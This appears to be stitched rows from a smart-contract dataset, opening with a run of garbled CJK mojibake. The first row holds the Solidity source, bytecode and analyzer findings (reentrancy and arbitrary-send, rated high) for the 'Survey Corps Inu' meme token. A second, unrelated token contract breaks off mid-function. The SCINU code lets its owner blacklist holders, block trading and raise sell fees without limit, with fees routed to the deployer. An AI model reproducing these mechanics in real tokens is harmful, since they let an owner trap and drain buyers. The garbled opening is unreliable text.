甯絛跨飩i髢馳爺ゎ。`'等誄I筴碌I畷 罩硼I蒻筵硺艇艀i裲睚亀 篳'’,緲  g亀 Ⅶil齢  贒罩硼i艇艀裲睚鳫爺靠飭蛸I裘裔 椈f棘豢跫跪I衙絎絲絨i爺i㎜iⅣ   ,緲i亀 Ⅶ靈,  甯傅喩I揵揚惹屡絎痙棏敞裔筴敢 頬i鞏褂f跫詹雋髢i曷迯瓲軌霤   ,緲蔭穐 Ⅶ穐   讎椈i棘貅f斐犀耋f絎絲觚f覃黹黍 襴蔽戮貲艀舅I肅肄肆槿f蝓Ⅷ   緲$慚I穐,疊穐  甯萪碾f鋗輜靠f誹臧鋩f褂跫詹i雋 鋐篆f瘧蜑筴裔罩罧I緜孵蓼Ⅷ  i鷆嫩槞i歉皸鱚  冑縡諛諺彙溘嵳勠尠錣綴麼辨螢 In Attack on Titan, the Survey Corps (調査兵団) was the branch of the Military most actively involved in direct Titan combat, Titan study, human expansion, and outside exploration. In this cryptocurrency driven world, Survey Corp Inu would be the investigation unit to monitor each and every project on the market. We mainly consist of 2 branches. The investment unit and military unit. Our investment unit will locate nice and creative projects and use the investment pool fund to invest into all the nice projects. All the profits we gain will be fairly distributed to every holder through reflection and community rewards. Our military unit aims to destroy and stop all the scammers and ruggers in the market in order to make this crypto currency world clean again. We will work as a team, corporate and gather all the information just like the survey corp in Attack of Titan. https://t.me/surveycorpinu https://surveycorpinu.com */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SCINU is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Survey Corps Inu"; string private constant _symbol = "SCINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f0461461057b578063dd62ed3e1461059b578063ea1644d5146105e1578063f2fde38b1461060157600080fd5b8063a2a957bb146104f6578063a9059cbb14610516578063bfd7928414610536578063c3c8cd801461056657600080fd5b80638f70ccf7116100d15780638f70ccf7146104725780638f9a55c01461049257806395d89b41146104a857806398a5c315146104d657600080fd5b80637d1db4a5146103fc5780637f2feddc146104125780638203f5fe1461043f5780638da5cb5b1461045457600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461039257806370a08231146103a7578063715018a6146103c757806374010ece146103dc57600080fd5b8063313ce5671461031657806349bd5a5e146103325780636b999053146103525780636d8aa8f81461037257600080fd5b80631694505e116101b65780631694505e1461028457806318160ddd146102bc57806323b872dd146102e05780632fd689e31461030057600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461025457600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611aa4565b610621565b005b34801561021557600080fd5b5060408051808201909152601081526f53757276657920436f72707320496e7560801b60208201525b60405161024b9190611b69565b60405180910390f35b34801561026057600080fd5b5061027461026f366004611bbe565b6106c0565b604051901515815260200161024b565b34801561029057600080fd5b506013546102a4906001600160a01b031681565b6040516001600160a01b03909116815260200161024b565b3480156102c857600080fd5b5066038d7ea4c680005b60405190815260200161024b565b3480156102ec57600080fd5b506102746102fb366004611bea565b6106d7565b34801561030c57600080fd5b506102d260175481565b34801561032257600080fd5b506040516009815260200161024b565b34801561033e57600080fd5b506014546102a4906001600160a01b031681565b34801561035e57600080fd5b5061020761036d366004611c2b565b610740565b34801561037e57600080fd5b5061020761038d366004611c58565b61078b565b34801561039e57600080fd5b506102076107d3565b3480156103b357600080fd5b506102d26103c2366004611c2b565b610800565b3480156103d357600080fd5b50610207610822565b3480156103e857600080fd5b506102076103f7366004611c73565b610896565b34801561040857600080fd5b506102d260155481565b34801561041e57600080fd5b506102d261042d366004611c2b565b60116020526000908152604090205481565b34801561044b57600080fd5b506102076108d8565b34801561046057600080fd5b506000546001600160a01b03166102a4565b34801561047e57600080fd5b5061020761048d366004611c58565b610a90565b34801561049e57600080fd5b506102d260165481565b3480156104b457600080fd5b506040805180820190915260058152645343494e5560d81b602082015261023e565b3480156104e257600080fd5b506102076104f1366004611c73565b610aef565b34801561050257600080fd5b50610207610511366004611c8c565b610b1e565b34801561052257600080fd5b50610274610531366004611bbe565b610b78565b34801561054257600080fd5b50610274610551366004611c2b565b60106020526000908152604090205460ff1681565b34801561057257600080fd5b50610207610b85565b34801561058757600080fd5b50610207610596366004611cbe565b610bbb565b3480156105a757600080fd5b506102d26105b6366004611d42565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ed57600080fd5b506102076105fc366004611c73565b610c5c565b34801561060d57600080fd5b5061020761061c366004611c2b565b610c8b565b6000546001600160a01b031633146106545760405162461bcd60e51b815260040161064b90611d7b565b60405180910390fd5b60005b81518110156106bc5760016010600084848151811061067857610678611db0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106b481611ddc565b915050610657565b5050565b60006106cd338484610d75565b5060015b92915050565b60006106e4848484610e99565b610736843361073185604051806060016040528060288152602001611ef6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611343565b610d75565b5060019392505050565b6000546001600160a01b0316331461076a5760405162461bcd60e51b815260040161064b90611d7b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107b55760405162461bcd60e51b815260040161064b90611d7b565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107f357600080fd5b476107fd8161137d565b50565b6001600160a01b0381166000908152600260205260408120546106d1906113b7565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161064b90611d7b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161064b90611d7b565b6611c37937e0800081116108d357600080fd5b601555565b6000546001600160a01b031633146109025760405162461bcd60e51b815260040161064b90611d7b565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b9190611df7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fc9190611df7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6d9190611df7565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610aba5760405162461bcd60e51b815260040161064b90611d7b565b601454600160a01b900460ff1615610ad157600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b195760405162461bcd60e51b815260040161064b90611d7b565b601755565b6000546001600160a01b03163314610b485760405162461bcd60e51b815260040161064b90611d7b565b60095482111580610b5b5750600b548111155b610b6457600080fd5b600893909355600a91909155600955600b55565b60006106cd338484610e99565b6012546001600160a01b0316336001600160a01b031614610ba557600080fd5b6000610bb030610800565b90506107fd8161143b565b6000546001600160a01b03163314610be55760405162461bcd60e51b815260040161064b90611d7b565b60005b82811015610c56578160056000868685818110610c0757610c07611db0565b9050602002016020810190610c1c9190611c2b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4e81611ddc565b915050610be8565b50505050565b6000546001600160a01b03163314610c865760405162461bcd60e51b815260040161064b90611d7b565b601655565b6000546001600160a01b03163314610cb55760405162461bcd60e51b815260040161064b90611d7b565b6001600160a01b038116610d1a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161064b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dd75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161064b565b6001600160a01b038216610e385760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161064b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610efd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161064b565b6001600160a01b038216610f5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161064b565b60008111610fc15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161064b565b6000546001600160a01b03848116911614801590610fed57506000546001600160a01b03838116911614155b1561123c57601454600160a01b900460ff16611086576000546001600160a01b038481169116146110865760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161064b565b60155481111561109557600080fd5b6001600160a01b03831660009081526010602052604090205460ff161580156110d757506001600160a01b03821660009081526010602052604090205460ff16155b6110e057600080fd5b6014546001600160a01b03838116911614611165576016548161110284610800565b61110c9190611e14565b106111655760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161064b565b600061117030610800565b6017546015549192508210159082106111895760155491505b8080156111a05750601454600160a81b900460ff16155b80156111ba57506014546001600160a01b03868116911614155b80156111cf5750601454600160b01b900460ff165b80156111f457506001600160a01b03851660009081526005602052604090205460ff16155b801561121957506001600160a01b03841660009081526005602052604090205460ff16155b15611239576112278261143b565b478015611237576112374761137d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061127e57506001600160a01b03831660009081526005602052604090205460ff165b806112b057506014546001600160a01b038581169116148015906112b057506014546001600160a01b03848116911614155b156112bd57506000611337565b6014546001600160a01b0385811691161480156112e857506013546001600160a01b03848116911614155b156112fa57600854600c55600954600d555b6014546001600160a01b03848116911614801561132557506013546001600160a01b03858116911614155b1561133757600a54600c55600b54600d555b610c56848484846115b5565b600081848411156113675760405162461bcd60e51b815260040161064b9190611b69565b5060006113748486611e2c565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106bc573d6000803e3d6000fd5b600060065482111561141e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161064b565b60006114286115e3565b90506114348382611606565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061148357611483611db0565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115009190611df7565b8160018151811061151357611513611db0565b6001600160a01b0392831660209182029290920101526013546115399130911684610d75565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611572908590600090869030904290600401611e43565b600060405180830381600087803b15801561158c57600080fd5b505af11580156115a0573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806115c2576115c2611648565b6115cd848484611676565b80610c5657610c56600e54600c55600f54600d55565b60008060006115f061176d565b90925090506115ff8282611606565b9250505090565b600061143483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ab565b600c541580156116585750600d54155b1561165f57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611688876117d9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116ba9087611836565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116e99086611878565b6001600160a01b03891660009081526002602052604090205561170b816118d7565b6117158483611921565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175a91815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c680006117878282611606565b8210156117a25750506006549266038d7ea4c6800092509050565b90939092509050565b600081836117cc5760405162461bcd60e51b815260040161064b9190611b69565b5060006113748486611eb4565b60008060008060008060008060006117f68a600c54600d54611945565b92509250925060006118066115e3565b905060008060006118198e87878761199a565b919e509c509a509598509396509194505050505091939550919395565b600061143483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611343565b6000806118858385611e14565b9050838110156114345760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161064b565b60006118e16115e3565b905060006118ef83836119ea565b3060009081526002602052604090205490915061190c9082611878565b30600090815260026020526040902055505050565b60065461192e9083611836565b60065560075461193e9082611878565b6007555050565b600080808061195f606461195989896119ea565b90611606565b9050600061197260646119598a896119ea565b9050600061198a826119848b86611836565b90611836565b9992985090965090945050505050565b60008080806119a988866119ea565b905060006119b788876119ea565b905060006119c588886119ea565b905060006119d7826119848686611836565b939b939a50919850919650505050505050565b6000826119f9575060006106d1565b6000611a058385611ed6565b905082611a128583611eb4565b146114345760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161064b565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fd57600080fd5b8035611a9f81611a7f565b919050565b60006020808385031215611ab757600080fd5b823567ffffffffffffffff80821115611acf57600080fd5b818501915085601f830112611ae357600080fd5b813581811115611af557611af5611a69565b8060051b604051601f19603f83011681018181108582111715611b1a57611b1a611a69565b604052918252848201925083810185019188831115611b3857600080fd5b938501935b82851015611b5d57611b4e85611a94565b84529385019392850192611b3d565b98975050505050505050565b600060208083528351808285015260005b81811015611b9657858101830151858201604001528201611b7a565b81811115611ba8576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611bd157600080fd5b8235611bdc81611a7f565b946020939093013593505050565b600080600060608486031215611bff57600080fd5b8335611c0a81611a7f565b92506020840135611c1a81611a7f565b929592945050506040919091013590565b600060208284031215611c3d57600080fd5b813561143481611a7f565b80358015158114611a9f57600080fd5b600060208284031215611c6a57600080fd5b61143482611c48565b600060208284031215611c8557600080fd5b5035919050565b60008060008060808587031215611ca257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611cd357600080fd5b833567ffffffffffffffff80821115611ceb57600080fd5b818601915086601f830112611cff57600080fd5b813581811115611d0e57600080fd5b8760208260051b8501011115611d2357600080fd5b602092830195509350611d399186019050611c48565b90509250925092565b60008060408385031215611d5557600080fd5b8235611d6081611a7f565b91506020830135611d7081611a7f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611df057611df0611dc6565b5060010190565b600060208284031215611e0957600080fd5b815161143481611a7f565b60008219821115611e2757611e27611dc6565b500190565b600082821015611e3e57611e3e611dc6565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e935784516001600160a01b031683529383019391830191600101611e6e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ed157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ef057611ef0611dc6565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c0daa1bfba4958c6412da77c5283bfcb4c0f0dba5f89cdc6b3fbded050af38d64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,512
0xb683d83a532e2cb7dfa5275eed3698436371cc9f
pragma solidity ^0.4.23; // produced by the Solididy File Flattener (c) David Appleton 2018 // contact : dave@akomba.com // released under Apache 2.0 licence contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { 